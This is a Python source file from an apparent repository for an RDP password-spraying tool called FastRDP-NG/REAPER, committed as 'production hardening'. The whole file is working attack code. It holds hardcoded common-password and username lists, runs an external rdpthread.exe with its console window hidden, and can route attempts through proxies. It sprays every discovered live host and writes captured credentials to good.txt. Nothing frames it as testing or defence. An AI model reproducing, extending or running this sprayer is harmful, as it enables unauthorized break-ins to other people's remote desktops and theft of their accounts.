Files
rdp-brute/bruteforce.py
drjones 906000870d Production hardening: REAPER all-in-one launcher, rdpthread UX, logic fixes
- Add REAPER.bat single entry (pip, dirs, smoke test, launch); MASTER/MASTERSTER shim to it
- bruteforce: rdpthread helpers, safe writer close, spray_all_hosts incremental writes, progress
- gui: credential banner, spray messaging without spam; cmdkey TERMSRV host
- scanner: adaptive progress; proxy: retry cap on open_connection
- ip_utils: /32 CIDR, count_ips aligned with large dash ranges
- README/install/run: deployment docs and REAPER.bat references

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-05-06 00:08:06 -07:00

284 lines
9.5 KiB
Python

"""
FastRDP-NG: RDP Password Sprayer.
Tries top common passwords against live RDP hosts using subprocess.
Supports optional proxy routing via ProxyManager.
"""
import asyncio
import logging
import os
import subprocess
import time
from typing import List, Tuple, Set, Optional
logger = logging.getLogger("FastRDP-NG")
_CRED_FALLBACK_WARNED = False
def get_rdpthread_path() -> Optional[str]:
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
base = os.path.dirname(os.path.abspath(__file__))
for p in (
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
):
if os.path.exists(p):
return p
return None
def credential_validation_available() -> bool:
"""True if rdpthread is present so password attempts can be validated."""
return get_rdpthread_path() is not None
def _subprocess_run_no_console(cmd: List[str], **kwargs):
"""Windows: hide console window for subprocess if supported."""
if hasattr(subprocess, "CREATE_NO_WINDOW"):
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
return subprocess.run(cmd, **kwargs)
# Top 50 most common RDP passwords (by frequency in breaches)
TOP50_PASSWORDS = [
"admin", "Admin", "password", "Password", "123456",
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
"123456789", "1234567890", "letmein", "welcome", "monkey",
"dragon", "master", "login", "abc123", "test",
"test123", "pass", "Pass", "P@ss", "qwerty123",
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
"sunshine", "princess", "football", "baseball", "welcome1",
"admin123", "Admin123", "password!", "password.", "password00",
]
# Top usernames for RDP
TOP_USERNAMES = [
"Administrator", "Admin", "admin", "administrator",
"User", "user", "GuestUser", "Guest", "root",
]
async def spray_password(
ip: str,
port: int,
username: str,
password: str,
timeout: float = 5.0,
proxy_manager=None,
) -> Tuple[str, int, str, str, bool]:
"""
Try a single credential pair against an RDP host.
Supports optional proxy routing via proxy_manager.
Attempts to find rdpthread.exe in common locations, then
falls back to RDP banner detection (connectivity check only).
Returns (ip, port, username, password, success).
"""
global _CRED_FALLBACK_WARNED
rdpthread_path = get_rdpthread_path()
if rdpthread_path:
try:
result = _subprocess_run_no_console(
[rdpthread_path, ip, str(port), username, password],
capture_output=True,
timeout=timeout,
)
output = result.stdout.decode('utf-8', errors='ignore').lower()
success = (
"success" in output or
"connected" in output or
"authenticated" in output or
result.returncode == 0
)
return (ip, port, username, password, success)
except (FileNotFoundError, subprocess.TimeoutExpired,
subprocess.CalledProcessError, OSError):
pass
# Binary exists but attempt failed — fall through to connectivity check only.
if rdpthread_path is None:
if not _CRED_FALLBACK_WARNED:
_CRED_FALLBACK_WARNED = True
logger.debug(
"rdpthread.exe not in application directory; credential validation "
"unavailable until deployed (scanner unaffected)."
)
# Fallback: RDP banner check (confirms RDP service is running)
# When proxy is enabled, route through proxy
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=2.0
)
try:
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
except (asyncio.TimeoutError, ConnectionError, OSError):
data = b""
# TPKT header (0x03) — RDP; we never report success without rdpthread above
if len(data) >= 2 and data[0] == 0x03:
return (ip, port, username, password, False)
return (ip, port, username, password, False)
finally:
try:
writer.close()
await writer.wait_closed()
except (OSError, ConnectionError, RuntimeError):
pass
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return (ip, port, username, password, False)
async def spray_all_hosts(
live_hosts: Set[Tuple[str, int]],
usernames: List[str] = None, # type: ignore
passwords: List[str] = None, # type: ignore
max_concurrent: int = 100,
timeout: float = 5.0,
progress_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray passwords across all live hosts in rounds: for each password, try
that password with every (host, username) combo before advancing.
Supports optional proxy routing.
Returns list of (ip, port, username, password) successful hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits = []
hits_written = 0
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
attempts = 0
start_time = time.time()
async def try_combo(ip: str, port: int, user: str, pwd: str):
nonlocal attempts
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
attempts += 1
if success:
hits.append((ip, port, u, p))
if progress_callback and attempts % 100 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
progress_callback(attempts, total_attempts, len(hits), rate)
return success
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
# Spray strategy: for each password, try it against ALL hosts first
# This is the "password spraying" approach - avoids lockouts
tasks = []
for password in passwords:
for ip, port in live_hosts:
for username in usernames:
tasks.append(asyncio.create_task(
try_combo(ip, port, username, password)
))
# Execute this password batch before moving to next password
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if len(hits) > hits_written:
_write_hits(hits[hits_written:])
hits_written = len(hits)
tasks = []
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
if progress_callback and total_attempts > 0:
progress_callback(attempts, total_attempts, len(hits), rate)
logger.info(
f"Spray complete: {len(hits)} hits from {attempts} attempts "
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
)
return hits
async def spray_single_host(
ip: str,
port: int,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 50,
timeout: float = 5.0,
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray ALL passwords against a SINGLE host immediately.
Called as soon as a host is discovered — no need to wait for full scan.
Supports optional proxy routing.
hit_callback(ip, port, user, password): called on each successful hit.
Returns list of (ip, port, username, password) hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
if success:
hits.append((ip, port, u, p))
if hit_callback:
hit_callback(ip, port, u, p)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
if hits and hit_callback is None:
_write_hits(hits)
return hits
def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately."""
output_path = os.path.join(
os.path.dirname(os.path.abspath(__file__)),
"results", "good.txt",
)
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'a') as f:
for ip, port, user, pwd in hits:
line = f"{user}:{pwd}@{ip}:{port}\n"
f.write(line)
print(f"\n[+] HIT! {line.strip()}")